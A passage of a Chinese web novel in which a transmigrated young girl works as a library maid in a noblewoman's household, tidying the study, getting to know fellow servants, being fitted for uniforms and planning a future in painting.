“约翰大叔，我晚上就要开始干活了。”爱洛笑着跟他交代自己的现状，请老约翰见到本诺时跟他说一声。毕竟，他的佣金还没结呢，肯定会关注自己的。 回到厨房，见米拉自己在洗碗，没有让她帮忙的意思。爱洛就拿着自己的清洁工具，一根鸡毛掸子和一块旧毛巾，回到书房。 先从杂志开始，把一个月之内的所有杂志找出来。初步估算有十多种，光时装类的就有一半。封面是彩色套印的，纸张有些粗糙，衣物的样式和细节都很清楚。 看起来，至少纺织和印刷都是高度发达的行业，已经出现了彩色纸质成规模的产品宣传。也就是说，这个时代应该发生过类似第一次工业革命的科技创新，能传递给消费者终端信息的服务水平让爱洛有点惊讶了。 “嗯，以我的绘画和审美水平，不知道以后能不能去当的服装设计师？” 爱洛一边给服装杂志归类，一边瞎想。 整理清楚这些要放在木架上的杂志，爱洛先用鸡毛掸子把杂志和架子的灰尘掸掉，又用干毛巾细细的擦过，眼角的余光注意到窸窸窣窣的裙边从门口一晃而过，是约根纳经过这里，估计还站着看了一会儿。 爱洛没管这些，只低头干自己的活。杂志有月刊和周刊，把周刊放到离桌子近的一头，月刊从另一头开始排列，整整齐齐的当月几十本服装杂志就在书架的最上层安了家。 接着就是文字类，散文集，小说集，文摘，介绍各地风俗的旅游杂志，思辨集等等。爱洛也没细看，感觉这年头印刷业太发达了，什么五花八门的内容都印在杂志上卖出去，就跟自己逛论坛似的。把这些杂志册一样一样的排整齐放好。基本上，想要看任何一个类型的内容，一眼就能在书架上找到最新一期。 理出来半摞画册，先按照大小堆在架子旁边，等把所有的画册都找出来再想怎么归类吧。 剩下的一地杂志，就先分类放进书柜，等明天再按照时间排吧。等爱洛把地上所有的杂志搬进书柜，才感觉到自己腰都酸了。 站起来看着清空的地面，一下子宽敞许多的书房，爱洛满意的点了点头。完成了这么大的工程量，时间肯定很晚了。用毛巾大概擦了擦浮灰，就举着不知道什么时候被点亮，放在小方桌上的烛台，紧着脚步下了楼。 回到餐厅，只有一根不太亮的蜡烛孤零零的在桌子上燃着。米拉坐在桌边算着账。听见爱洛的下楼的声音，头也不抬的说：“你先去洗漱睡觉吧，我还要等夫人回来，没准想吃点什么。” 爱洛看了一眼墙上的挂钟，现在已经快九点了，自己干了差不多四个小时的体力活，难怪蹲的腰受不了。没吭声点点头，举着烛台回到自己的房间。 经过大厅时，也没见约根纳，第二天才知道，一般这个时候，她会在二楼的门厅等着。 因为下午已经洗过澡了，爱洛就脱下外衣，只穿着衬裙去盥洗室漱了口，简单的洗了脸，冲了脚。 生活条件真心是挺不错的。盥洗室已经有了新盆和漱口用具，上面还贴着“爱洛”字样的小 18. 同事们 [] “她看着不错，要不，本诺大叔怎么能介绍她来这里呢。”另一个差不多年纪的尖下巴姑娘抢着说。 “好了，孩子们，早饭来了。”没等爱洛发问，米拉托着一大盘小圆面包和一瓶草莓酱走了过来，放在桌子上。又从火炉上提来一大壶牛奶，每人一大杯，让大家开始吃早餐。 米拉在椅子上坐好后，指着对面三个齐刷刷的脑袋，对身边的爱洛说：“她们三个是清洁女仆，不住在这里。都是冬青树街上的孩子，每天一早过来，干完活就回去了。” “是的，我们白天都在这里，大部分时候不在这里吃晚饭。”圆脸姑娘解释道。也就是说，这里会有一些不住宿的同事。 额，刚才尖下巴姑娘提到了本诺大叔，听起来有共同的熟人，职场环境好像还行。 爱洛吃饭的时候很少说话，大部分时间是在听那三个姑娘聊天。但她们总是会不经意的问她一句，好像生怕把她冷落了一样。米拉也时不时的接上一句，大家小声的说笑着，气氛很融洽。 吃完饭，爱洛想着要不要去问问约根纳还有什么安排，但女管家没出现，也不确定她是否在夫人身边听吩咐，又不敢自己乱走。 正纠结着，一直没跟爱洛讲话的那个年龄更大的姑娘问道：“爱洛，你真的认识字啊？你是上过学吗？” “额，是的。”没想到会被问到这个问题，爱洛就只好谦虚的说：“我认识的字不多，不过整理书房是够用了。” “嗯，”这姑娘点头道：“我们街上有个女孩来干了一天，就回家了。她在家里学了一百多个字，平时趾高气昂的，看不起我们。结果嘛，嘻嘻。” “就是，还嘲笑我出了冬青树街，别的地方哪也不敢去。我看她去了城里，跟我一样也得迷路，哼。”圆脸姑娘愤愤地说。 爱洛听着这些小八卦，内心小火苗蹭噌的，“啧啧，什么活都有人竞争，尤其这种高薪的岗位。这是她们之前的邻居没能留下来被群嘲了吗？真是有人的地方就有江湖啊。” 聊了没一会儿，米拉过来喊爱洛说：“送菜的来了，你跟我来核对订单吧。” 爱洛看了一眼清洁女仆们，见她们只顾着说话，也没人注意自己，就跟着米拉到了厨房。厨房的侧门开着，门口停着一辆马车，已经卸下来两个大筐。门边站着一个穿短外套马靴的伙计，手里捏着一张纸等着。 米拉从橱柜里取出一张纸，对爱洛说：“这是订单，都是约根纳夫人头一天订好，送到合作的商行，他们第二天早上送货。我也不太认识字，约根纳管家不忙的时候会自己收货。今天这会儿还没下来，估计夫人有事安排。你来看看，一个个念，我来核对数量和种类。” 伸手接过这张纸，爱洛奇怪的问：“我看你昨晚不是在算账吗？” “那个，我会简单的算数，字认识的不多，都是给我自己看的的。”米拉给了爱洛一个眼神。懂了，圈圈叉叉么。 见两人出来，伙计笑容满面地招呼：“米拉大婶，今天怎么没见约根纳管家呐？” “有点忙，布伦特,今天送来的还算准时。”米拉没跟伙计多说话，示意爱洛开始。 爱洛只好拿着手里的订单，一个一个的念到：“牛五花2磅，羊排2磅，黄油1磅，卷心菜5磅，胡萝卜3磅，洋葱2磅。。。” 用了有半个小时，爱洛和米拉才把送来的新鲜食材核对完。等布伦特帮忙把两个大筐搬到屋里，架着马车离开之后，米拉伸出厚实的手，使劲拍了拍爱洛的肩膀，“干得不错，小爱洛。帮了大忙了，中午要吃的羊排，必须腌制3个小时以上才入味。收货晚了可就赶不上了。”又挤了挤眼睛说：“让你尝尝米拉独家手法烹饪的焗烤羊排。” “听着就好香啊。”爱洛精神一震，心里竟有了期待。有谁能拒绝美食呢？羊排，独家手法，焗烤，听听，想想就知道不一般。 咽口水。。。。。。 正畅想美食是配果汁还是配浓汤呢，听见约根纳的声音：“米拉，商行的人的来了吗？” 米拉急忙走到餐厅，对急匆匆走下来的约根纳说，“已经收了，是爱洛帮的忙。我这就能准备午餐了。” “嗯，”约根纳点点头，对爱洛说：“过来认识一下丽安。”爱洛这才发现，清洁女仆们不知道什么时候离开的，已经没在餐厅了。 站在约根纳身后的是一个十六、七岁的女孩，用花边纱帽罩着梳得紧紧的辫子，穿着奶白色的长袖围裙，露出里面天蓝色的窄裙边。宽脸大眼，皮肤略黑，背挺的直直的，听约根纳提到自己的名字，眼睛一转就朝爱洛看过来。 “这么个小孩子也能干书房女仆吗？”有点甜的声音从丽安的嘴里发出来。这反差也有点大吧？要不是爱洛亲眼所见，是没办法把声音和本人联想到一起的。 “反正把活干好了就行。”米拉一边嘟囔着，一边转身回厨房去了。 丽安的话虽然谈不上恶意，但也不算好听。“额，约根纳管家，我接下来该做什么呢？”爱洛没有直接同丽安搭话，转而问起自己接下来的工作内容。 “这会儿夫人在客厅，一会儿就要用书房，你就先待在这里，等会儿客厅空出来了，你再去整理书籍和报纸。” “是。”爱洛只好待在餐厅，看约根纳和丽安吃早餐。 她们两个早上的作息时间是围绕着主人来的，要等夫人在卧室吃完早餐，去客厅喝茶看报纸的时候才能短暂离开。大部分时候，约根纳和丽安至少要有一个人在夫人身边。 “这样的话，跟领导身边的同级别同事交叉的时间应该不会太多，就没什么利益冲突吧。”爱洛乐观地想着。 带着一点点展示勤快的态度，爱洛给女管家添了茶，暂时充当了侍者。看得出来，约根纳对她的服务水平不甚满意，但也没说什么，新员工跨界服务上级，就不要打击员工的积极性了。 丽安的话有点多：“不知道卧室打扫完了没有，我吃完饭就得赶紧盯着她们，每次都把床单铺的不平整。对了，今天是不是要做新衣服了？我看到您给裁缝写的便条了。” “是的。”约根纳用餐巾擦了擦嘴，简短的回应。 “是到做冬装的时候了。我昨天跟夫人出门，上下马车，风 19. 做衣服 [] 果然，约根纳见到海蕾，上来就直接在问披风的事。海蕾说的倒也清楚：“是罗素家新近从法国来了客人，带来的裁缝提供的新款式。现在，城里各家都在打听这事呢。昨天银月温泉的聚会上，那个法国裁缝还去了呢。风度翩翩地，好多夫人都围着要从他那里定裙子。。。” 巴拉巴拉的，海蕾说了一大堆消息，爱洛听得不耐烦，就回到厨房给米拉传消息。米拉倒是很入迷，要不是手里的活实在丢不开，她真想自己去问一问。 无聊的爱洛在厨房帮忙削萝卜，直到三个清洁女仆下楼，约纳根才走到厨房门口，对爱洛和米拉说，“已经定好了款式，人也齐了，你们去量尺寸吧。” 米拉把手洗干净，爱洛跟在后面，去了一层大厅约纳根的办公室，清洁女仆们已经在那里，拉着海蕾带来的一个女工说着什么。 看到米拉，海蕾干巴巴的脸上笑开了花，“我亲爱的米拉，可有一段时间没见到你了。” “海蕾，瞧你红光满面的，生意很不错吧。”米拉一边笑着回应，一边脱下围裙，伸手让海蕾量身。 “嗯，尺寸没什么变化，冬天穿的厚，我给你放半个号吧。” 海蕾跟米拉商量着。 “没问题，你看着办吧。” 可能是熟悉的原因，给米拉量尺寸速度很快。转眼间，就轮到站在墙边的爱洛了。 “呦，这是新来的小女仆吗？我可没见过啊。” 海蕾故作大惊小怪的表情，让好几个人都笑出了声。 走到跟前，爱洛伸胳膊伸腿，让海蕾从头到脚的把自己摸了一遍，哦不，量了一遍。 见她有点抗拒，海蕾呵呵笑着说：“管家说你是新人，要额外给你加两套睡裙，配着还有睡帽和睡鞋，这些衣服的尺寸要精细些量。” 无视边上清洁女仆们羡慕的眼神，爱洛在海蕾表示量好了的时候，松了口气，也没跟刚进大厅的丽安打招呼，就蹭噌蹭地回了厨房。站在米拉身后，念叨着：“要几天能穿上新衣服捏？” 米拉手里拍着面包坯子，回答道：“三五天就送来。我们每人就只做两套，款式又都不复杂，肯定快。听说海蕾裁缝家雇了十多个女工呢。” 爱洛点头，没一会儿，圆脸姑娘走了进来跟她说：“今天洗衣服，你把要洗的东西都拿到洗衣房吧，一下午就晾干了。” 爱洛转头看米拉，米拉笑咪咪地没说话，只点点头。爱洛跟朝圆脸姑娘说：“好的，我一会儿就收拾出来，谢谢姐姐。” “别客气，本来我们的活就包括这些的。”圆脸姑娘也不居功，坦率地说道。 另外两人量好尺寸，走进厨房帮忙洗菜，看起来都不是第一次干厨房的活了。 爱洛见状，也不跟她们抢活干。她也看出来了，仆人之间的等级也挺分明的，别人有自己的生存之道，她刚来，先观察观察。 比如刚才，海蕾就在不经意间提到，清洁女仆们只有一套冬季女仆衣裙。而且，因为她和丽安还有米拉都有可能跟夫人外出，所以会多出一件大衣。今年的款式已经定下来，就是之前提到法国裁缝带来的最新款披风。 快到中午的时候，量完尺寸的海蕾带着她的两个随行女工离开。约根纳板着一张脸走进来，问米拉:“夫人打铃了，午饭好了没有。” “已经好了，这就上菜。”米拉动作麻利的把焗烤羊排，土豆泥，蔬菜沙拉和蘑菇汤放进托盘，跟在约根纳身后上了二楼。 清洁女仆们则和爱洛一样，摆桌子，铺餐具，大家都挺忙碌，没有人闲着。 等开饭的时间里，几人聊着天，时而还捂嘴大笑。爱洛也不插嘴，就只是安静地听着，时而给个鼓励的微笑，表示自己并不在意没能进入她们的话题。 过了好一会儿，约根纳才和米拉下楼来，仆人们可以开饭了。叮叮咣咣的，大家找自己的位置坐下，等着米拉分餐。 约根纳左手第一的位置显然是属于丽安的，这会儿她还没下来，就空着。爱洛依旧会挨着米拉，空出右手第一的位置给她。尖下巴姑娘倒是挨着爱洛坐着，还小声跟她说：“我可不喜欢吃土豆泥。” “我还好吧，米拉会放上厚厚的黄油再蒸一遍，闻着可香了。”爱洛也低头回应，描述她今早学来的厨艺。 “虽然用了黄油，我可是吃够土豆了。”听起来，尖下巴姑娘对土豆的怨念很深。 没等米拉把最后的蔬菜沙拉分完，丽安一阵风似的从楼上下来，“我来晚了。”旋即坐下，跟约根纳说道。又看了一圈坐好的众人，微微一笑，“夫人已经吃完饭了，这会儿正在露台上画画呢。” “开始吧，孩子们。”约根纳并不多言，发话让大家赶紧吃饭，毕竟，吃完饭大家都还有的忙呢。 除了丽安时不时的谈谈她跟着出门的见闻，米拉偶尔回应两句之外，其他人都不说话，专心致志的享用着午餐。 “哪都好，就是吃饭的气氛，实在是一言难尽。”爱洛暗自嘀咕着，“管家严肃，丽安呱噪，米拉忙着照顾大家，清洁三人行不太熟悉。唉，我真是有饱饭吃了，想这些有的没的。”一不留神，爱洛连自己都吐槽。 沉浸式吃完米拉的独家焗烤羊排，既有焗制的软糯，又有烤制的焦香，酱汁完全渗入肥瘦相连的小羊排，爱洛十分满足。 在餐后的喝茶环节，大家都对今天的主菜赞不绝口，米拉笑的合不拢嘴，来自各方的肯定让这个胖呼呼的厨娘满面红光。 “同事的赞扬会让工作氛围更加和谐。”爱洛又学到了与人相处的一招。 休息过后，爱洛按照之前圆脸姑娘所说，把自己要洗的衣物找出来，感觉圆脸的示好有点莫名奇妙。就试探着问，“女仆的衣服什么的也归你们洗吗？” “当然了，你还会洗衣服吗？”圆脸姑娘反问道。忽地又笑了，“哦，我忘记了，你不是跟着夫人从兰敦来的。”然后跟爱洛解释说：“坎贝尔夫人家的女仆是不做粗活的，有专门的洗衣女仆。因为每年只来拜阿斯城几个月，没必 20. 坎贝尔夫人 [] 丽安了然一笑，算是同意她的看法。闲着没事，就打开了话匣子，跟爱洛讲起了主人的消息。 坎贝尔夫人在二十年前，作为帝国南部的贵族之女嫁到首府兰敦市的坎贝尔公爵家。 出嫁时带着大笔的嫁妆，包括多个帝国城市的商铺，兰敦市郊的庄园跟茵河边的工厂。因此，才能在生下了坎贝尔家唯一的继承人之后，过上随心所欲的生活。 好在坎贝尔夫人即善良又高贵，没有大多数贵族共有的臭毛病，对待仆人们一点都不苛责。常年旅行，喜欢参加贵族沙龙，闲时爱画两笔。 丽安表示，成为坎贝尔家的女仆是她迄今为止做过的最正确的决定。因为做了夫人好几年的贴身女仆，丽安给爱洛传授经验，这是个难得的好主人，一定要想办法长久的留在这里。 不经意间了解到坎贝尔儿夫人的基本生活作息和喜好，爱洛对自己的工作方向和内容有了新的想法。 从丽安刻意的介绍中能听出来，身为贴身女仆，她的能力无需质疑。但技能点在服装首饰，内务管理上。外出参加文化沙龙活动的时候，女仆之间也会有交流，她的心里总没底，遇到不熟悉的贵族人家，偶尔还会出点茬子。 因此，有一个拿得出手的书房女仆兼专职陪同参与活动的人就很必要了。偏偏这次来拜阿斯城走的急，带的人少，一时间竟然没人用了。 可以预料，如果爱洛能够得用，能消除好几个人的烦恼。此外，她的年纪小，还是拜阿斯城的人，将来也不会跟兰敦家中的女仆们形成竞争。 所以，别看她才来第一天，根本就没见到几个人。但这会儿，消息早就在兰敦坎贝尔家的仆人们之间传开了。 啊，这。。。请问你们是如何在没有网络，通讯靠写信，铁路还是蒸汽机的时代以光速传递下人之间的小道消息的呐？ 好的，收到了丽安递出的善意，爱洛跟她迅速熟悉起来，一聊就是半下午，还谈到了过几天就能送来的新衣服，对上身效果很是期待。 衣服首饰化妆品，女性友谊加速器。 傍晚，爱洛满意的吃过对她来说丰盛的晚餐，又把书房整理了大半之后，结束了这个业务量尚可，信息量巨大的第一个工作日。 连下来的两天，爱洛都在干重复的工作内容，平淡紧张，书房的整理进度喜人。偶尔在心里估算：大概要等到书房整理第一季结束，能看见工作成果的时候，才有可能见到这个家的主人吧。 第三天，一早起床。熟悉了环境和节奏之后，爱洛已经不用米拉喊她，到点儿自己就醒了。洗漱完成后，带着工作包（装清洁工具的桶）上楼，日渐熟练的开始当天的整理工作。 根据目前的进度，爱洛确信今天早上就能完成，紧赶慢赶，把书柜里的杂志和书全都理好排齐，还用抹布擦了一遍。差不多用了两个小时，爱洛直起腰，终于按计划完工了。 每个柜子再仔细检查一遍，杂志分类后按照时间排列，书籍按照类别排列，同一个作者的系列书则单独放在一起。 书架上的杂志紧紧有条，一目了然。只有画册是按照尺寸大小排列的，没有分类。爱洛曾找时间翻看过这些画册，内容五花八门，有绘画技巧的，有图例式样的，风格多样，作者不一。 爱洛不能确定坎贝尔夫人的流派和偏好，也就没有按照自己的理解把画册分类，等有了进一步的要求再说。 确定没问题后，爱洛关好书房的门，下楼去吃早餐。据说今天有现烤华夫饼，好期待。 吃完这顿美味的早餐，爱洛正要去厨房给米拉帮忙的时候，约根纳拢着双手走进餐厅，看着她有点散乱的头发，挽起的衣袖，脸上有点嫌弃地对爱洛说：“去重新打理一下自己，夫人要见你。” 。。。。。。 爱洛和米拉面面相觑，不知道为什么，爱洛有点口干，这是决定命运的时刻到了吗？ 张张嘴，没等发出声音，米拉已经替她问了：“怎么了？是活出纰漏了？” “没有。”约根纳简短的回应，口气稍微温和，“没什么问题，快点吧。” “好的。”爱洛赶紧把身上的厨房专用围裙解下来，这是米拉找给她，在厨房帮忙时穿的工作服。 然后上下检查了下自己穿的衣服，新的女仆冬衣据说今天就能送到，但要到下午。所以，今天，爱洛穿的是自己从家里带出来的褐黄冬裙。虽然旧，但面料很好，是母亲琳达用自己结婚时的一条裙子改的。 虽然裙子已经有点短了，但脚上是米拉帮她改过的船鞋，再套上那条清理书房时穿的花边围裙，也还看的过眼。理了理新编的双层小辫，压了一下额头前边的刘海，把袖子拉整齐。爱洛抬头看了约根纳一眼，见她略点了点头，舒了一口气，说道：“我可以了。” 约根纳转身，示意她跟上，就带着爱洛一路上楼到了二层的客厅。 客厅里，皇冠造型的缎面沙发上，坐着一位梳着卷边盘发，穿着浅粉碎花家居裙，套着一条深蓝色丝绒长袍的贵妇人。大约三十来岁的年纪，皮肤白皙，亚麻发色，深褐的眼睛配着挺直的鼻梁，棱骨分明的脸上有一种似笑非笑的神态。 听到“刷刷”的脚步声，端着茶，低头正要喝的坎贝尔夫人抬起头，只见身量颇高的约根纳身后，跟着一个瘦瘦小小的女孩子。 小女孩穿着旧衣却抬头挺胸，眼神灵动，又规规矩矩的站在那里，不由得心生好感，轻笑一声，说道：“我看书房每天的进展很快，没想到是这么个小孩子。” “夫人，爱洛已经快9岁了。”约根纳接口道：“不算小了。有很多7、8岁的小孩都已经承担起养家的重任了。” “唉，不说这个。”坎贝尔夫人叹了口气，站起身来，说：“去书房吧。” 爱洛跟在后面进了书房，坎贝尔夫人在一面书柜前站定，扫了一眼放在不同位置的书，点了点头。 走到书架前，见杂志已经完全按照类 21. 正式入职和漂亮衣服 [] 回到一层餐厅，约根纳正在喝茶。爱洛上前曲了曲膝盖，开心道：“夫人说，以后书房由我整理，出门写生也让我跟着呢。” 约根纳笑了：“好的，我知道了。我们的正式合同就从今天开始。” “谢谢您，约根纳管家，我会好好干活的。”爱洛认真地说。 没有天花乱坠的表忠心，没必要在嘴上讨好别人。咱靠技术吃饭的人，不搞那一套。爱洛暗自得意，“嗯，不知道管家喜欢什么，回头打听。。。。。。” 米拉听到她们的谈话，擦了擦湿漉漉的手，走过来大声说：“那我们今天加个菜庆祝一下，爱洛这就算是正式女仆了。” 约根纳没说话，但也没出声反对，这就默许了。看得出来，今天坎贝尔夫人对爱洛很是满意。女仆能干，各方运转良好，管家的能力才能体现出来。 “我听见谁说今天要加菜了？”丽安正好走下楼梯，张口问了一句。 “嗯，是我得到正式合同，米拉大婶说要庆祝一下。”爱洛解释道。 “真好，以后你就可以留下来了，我也不用去那些麻烦的沙龙了。”丽安很高兴，说道：“我们晚上吃烤小牛肉吧，我早上看见商行送的货了，可好久没吃了。” “你可真会吃，那就加这个吧。”米拉嘴里嫌弃着，却又完全接受建议。其实，她本来也是想做这个的吧，要不，怎么就正好今天订了这个呢？其实，大家心里都有点数，对爱洛的表现也是看在眼里的。 “真不错，同事们都很友善，也没有办公室政治，正好适合我这种职场新人。”爱洛心里美美的想着。 吃完午饭，回房间休息了一小会儿，米拉就来找她，裁缝海蕾送来了坎贝尔家本季女仆定制冬衣，她们都要去约根纳的办公室试装。 “真不错，手工制衣就是不一样。” 看到挂成一排一排的衣裙，爱洛心里赞叹。虽然只是女仆们的定制服装，但海蕾从服务到做工，从面料到配饰，没有丝毫的马虎。 面积并不算太小的一层大厅，这会儿被一个个大约4英尺长，5英尺高的落地衣架占满，上面挂着不同尺寸的外裙，衬裙，外套，鞋帽。灰色、粉色、红色、蓝色夹杂着白色和绿色，莫名的和谐。 “哇，真棒，这个架子上的衣服都是我的吗？”是尖脸的清洁女仆妮可的声音。 “每个人的衣裙鞋帽都是按尺寸分的，衣架上有名牌。额，不认识吗？那个谁，帮她们找找。”海蕾忙乱着，安排自己带来的女工为清洁女仆们找衣服。 “约根纳管家，你的衣服要试试吗？”海蕾微笑着问正在翻看自己的工作服的女管家。 “不用了，我看正好，不合身你再改。”约根纳吩咐道。 “好的好的，那你先看着。”海蕾忙着点头，去丽安那边帮忙。 丽安正在试那款今冬流行披风，披风自带风帽，平常的时候是贴在后背的，需要人用手拉平。爱洛正垫着脚帮忙，海蕾三脚并做两步赶过去，嘴里念叨，“我来我来，披风的帽子是最新元素，大家都还不熟悉，面料是法尔西进口羊绒。” 丽安穿好披风，左看右看，见长度正好在脚踝上1英寸的位置，满意的点了点头，“刚好露出裙边，很好看。” 爱洛看了看，走到插着自己名牌的衣架前，像她们这样的正式女仆，每人足足有3个衣架的衣服，而清洁女仆那样的短期工，每人只有一个衣架的衣服。 福利待遇非常好，加油！ 按照之前的安排，像她这样的正式女仆，应该有两套冬衣和一件外套。托法国裁缝带来的时尚风潮，还给加了新款披风。作为新员工，她还能多两套睡裙。 听起来刚够换洗，不算多。但实际上，每一套衣服都分为罩衣，衬衣，内衣，外裙，单裙，衬裙，配套的帽子，鞋袜等。有些搭配不是一件，而是两件，这也就是明明每人的衣服听起来不多，但实际上挂了好几个衣架的原因。 爱洛的一套芥末黄色冬装，罩衣是干活时穿在最外面的，由略粗糙的棉布制成，深黄色带暗花，无领收腰，结实耐脏。衬衣是浅黄色，外裙则是较为明亮的芥末黄色。单裙穿在外裙下面，颜色是和衬衣一样的浅黄色，说是单裙，其实也很厚实。白色薄棉布的内衣和衬裙，配上花色布鞋，白色短袜，即清新又实用。 每一套冬衣，除了罩衣和外裙是一件外，其他都是两件，这样，女仆们就不用为换洗时晾不干而担心。 另一套嫣红色冬装，数量完全一样，只是款式有所不同。黄色那套是带花色飞边，圆领长袖收窄口。红色这套则是纯色宽边压褶，尖领长袖收宽口。 每人一件的外套是普通的深褐色粗呢大衣，长度到膝盖以下。那件让丽安非常满意的风帽披风，爱洛也有一件同款，还单独有一顶同材质颜色的圆呢帽和一双小羊皮鞋。这可是外出时坎贝尔家仆人的体面。 因为年龄小，还在长个子。明年的这时候，爱洛肯定就穿不上了，但也不妨碍此时的她喜滋滋的试穿这件现下城中最为时尚的女仆披风。 注意到换上披风一下子就显得精致了许多的爱洛，大厅里的清洁女仆都围过来，七嘴八舌的评论着。 “没看出来，灰突突的小爱洛还挺好看的。” “得了吧，她没换新衣服的时候，也很好看啊，眼睛像天空一样蓝，头发像秋天的麦草一样亮，什么时候灰突突了。” “你们没觉得她这几天长胖了，所以好看了吗？” 爱洛看着自成一体聊的热闹的女仆们，听着越来越离谱的夸奖，头都有点痛了。偷偷看了一眼约根纳，见她站在一边瞧着笑，自己的脸有点热，开口道：“哎呀，衣服都有点点大呢。不过正好，干活方便。”爱洛换下身上的新衣服，把属于自己的衣架收到房间里去。 一连跑了好几趟，才全都搬到自己的房间去，女仆们也都收好了自己的衣服，包成大包，今天准备早点回家，试新衣。 过了好一会儿，裁缝和女仆们才离开，米 22. 方向 [] 爱洛坐在椅子上，发了会儿呆。这就算是真正的安定下来了，最少能干到明年的三月或者四月，没准还能跟着去兰敦。 有大半年的时间，能让自己有所喘息，有时间去考虑在离开边缘山村融入这个真实的世界中求生时，想一想到底要过怎么样的生活。 在坎贝尔家做女仆，生活会很安稳。不得不说，自己的运气非常好。 即便当初顺利的跟波比勒一家去了兰敦，肯定也不会找到坎贝尔家这种条件的工作。最多能到中产家庭做个厨房女仆，要么就得去当下的工厂玩命，更差的就不用说了。 但是，书房女仆，或者未来的女管家，这些在时下人的认知中的高端女性职位，对于爱洛来说，吸引力有限。 一个在平等国度里受过高等教育的女性，很难接受这种有人身依附关系，等级森严的职业前景。 独立和自由，是奋斗的前提，也是奋斗的目标。 既然在一个贵族和新兴阶层并存的时代重生，成不了贵族，还成不了新兴阶层吗？总不能来了一趟，奔着做一个高等仆人去吧？ 因此，尽管现有的生活条件远超爱洛的预期，但她并没有被舒适冲昏了头脑，内心十分清醒：得到现在的职位不过是运气好，并非自己有什么无可替代的技能。 因为随时都可能被取代，所以要保持警惕，避免陷入安逸。最好的方法就是找到一个方向，持续投入和发展，如果机会来临，自己才有力量抓住。 打扫和整理应该是没什么上升空间的，做到顶级也就是个打扫和整理女仆的头儿。 根据现有的信息，自己拥有能用上的，暂时来说，是绘画。一方面，自己有绘画基础。另一方面，这个时代的绘画技艺还没有到后世百花齐放的水平。 经过互联网信息冲击过的自己，就算不是什么画家，但在鉴赏和审美上，还是有优势的。正好坎贝尔夫人在绘画方面有所偏好，自己接触起来并不是很困难，这就算是有了契机。 先定下一个努力的方向，在今后的工作中寻找机会，总好过浑浑噩噩的只为填饱肚子而活着。 爱洛嘲笑自己：“只有经过生活的毒打才会有这么上进的想法。想想过去的自己，每天上班时就盼着下班，周一就盼着周末，从来没考虑过这个问题，以为只要按部就班的工作就一定能过上更好的日子，真是赌命的想法。。。” 无论是跟着坎贝尔夫人去学习更多当代的绘画风格和技术，还是争取能够有机会拿起画笔，都需要自己能提供更多的想法。 换句话说，要让坎贝尔夫人意识到：她，爱洛伊丝，在绘画方面有着一定天分，或者见识，或者技巧。 总之，要想办法表现自己，但又不能超出这个时代水平太多，才能在这条路上走的更远。 爱洛正暗自盘算着，要怎么样不露声色的展示自己的时候，丽安从背后拍了她一下，“想什么呢？怎么没换新衣服？” 吓了爱洛一跳，听见是她的声音，就没回头，回答道：“想等晚上洗完澡，明天再穿。” 见丽安坐下，精心梳过的发辫上缠着红色丝带，跟身上的嫣红色衣服很是配套，笑着说道：“这会儿还又编头发，一会儿要出门啦。” “嗯，刚才收到罗素夫人差人送来的纸条，晚上有个临时的小聚会。一位今天才到拜阿斯城的小姐，从兰敦带来一本新出版的书，要一起鉴赏。约根纳管家已经找来了梳头的凯拉，正在给夫人盘发呢。衣服都已经换好了，也没我什么事。” 嗯，这是她的梳头手艺再一次被嫌弃，心里有点怨念，下楼来吐个槽。 爱洛心里偷偷笑了，丽安虽然也十七岁了，但因为工作的环境比较单纯，有什么话根本藏不住。别看是个贴身女仆，没什么城府，估计觉得自己是个小孩子又没有竞争关系，很是喜欢跟她念叨一些小八卦，单方面认为她能保守住秘密，是个朋友。 丽安下楼来，只是为了抒发一下不被信任的烦恼。很快就上楼准备出门了。爱洛则是安心地待在餐厅，等晚饭。 果然，晚饭前，坎贝尔夫人就带着丽安和约根纳急匆匆的出门了。就米拉和自己一起吃饭，既轻松又惬意。 愉快的结束晚餐后，趁着家里没什么人，爱洛还去前院的草坪散了会儿步，才去书房干今晚整理的活儿。 就这样，日子波澜不惊的，一个月过得很快。拿到了薪水，爱洛找时间去看望了贝林一次，预付了三个月的房租。 出门时，专门让马车经过冬青树街，找到在店铺里忙碌的莉莲。店里人声鼎沸，生意很好。爱洛见状，也不多说什么，直接硬塞给她1个先令的介绍费。 莉莲连连摇手表示拒绝：“我就是顺手介绍本诺大叔给你认识，可没帮上什么忙，不能收。” 爱洛坚持道：“没有你，我怎么会知道有这个消息呢？拿着吧，这是你应得的。”得到机会的自己，如果连这点好处都不愿意分享，那以后还怎么找别人帮忙呢？ 生活就这样步入了正轨。爱洛的工作说不上重，最主要的书柜书架的排列整理已经完成。 之后，就只需要在坎贝尔夫人用完书房后，把弄乱的部分收拾整齐，清洁卫生就好。此外就是各个房间的报纸收集，在下午不忙的时候，她甚至还可以抽出时间看看当天的报纸。 报纸是此时最主要的信息载体，了解外界最好的渠道。自从爱洛开始管理报纸之后，家里订阅的所有类型的报纸，她都会一份不拉的浏览一遍。 不得不说，这个时代的报纸内容与后世的论坛相比，只是发布方式不同，内容上是毫不逊色的。产品上市，剧目上演，八卦情感，世界风云，政策分析，股票推荐，寻人启事。。。。。。 一个多月的读报生涯，让爱洛几乎都以为自己完全是来到了一个熟悉的现代社会。原来，商品经济已经已经发展到这种程度了，跟之前所在的帝 23. 睡莲 [] 然后来了兴致，指着杂志上的图案问道：“我要画这件衣服上的睡莲。你说，用什么颜色好？” “睡莲我画不好，莫奈的睡莲我可看了不少。”爱洛暗自嘀咕，嘴里说着自己的建议：“要不，用绿色系试试？” “绿色？”坎贝尔夫人有点儿迟疑。 “杂志上的花色是跟着服装面料的颜色和材质走的。画在纸上的话，就想怎么画就怎么画呗。”爱洛装作很随意的样子。 其实内心捏了一把汗，回答关于绘画的问题，既要懂点，还不能太懂。这个尺度，也太难了。 “对，我想了半晚上，都觉得这个紫色不好调出来。没办法下笔，那就换个颜色。”坎贝尔夫人想通了，站起来走到画箱跟前，取出七八个颜料罐，拿出调色盘开始调色。并且吩咐爱洛道：“去跟约根纳说，我先不吃早餐。再端一盆清水上来。” “好的，夫人。”爱洛转身出门，正好碰见约根纳从三楼下来，跟她说坎贝尔夫人在书房，要画画。约根纳皱了皱眉头，点头没说话，转身又回楼上了。爱洛又下一楼，去问米拉：“盆在哪儿？” 找到了书房一直用来盛水的铜盆，爱洛端水进书房，发现约根纳和丽安都在，她们是下来送衣服的。坎贝尔夫人身上这会儿套了一件深红色的丝绒拖地晨袍，宽大的袖子高高挽起，用银质别针卡在边缘处。 爱洛一见，差点没笑出声。不说昂贵的丝绒粘上颜料洗不掉，着要一不留神，松下来的袖口擦到没干的画面，可就全完了。 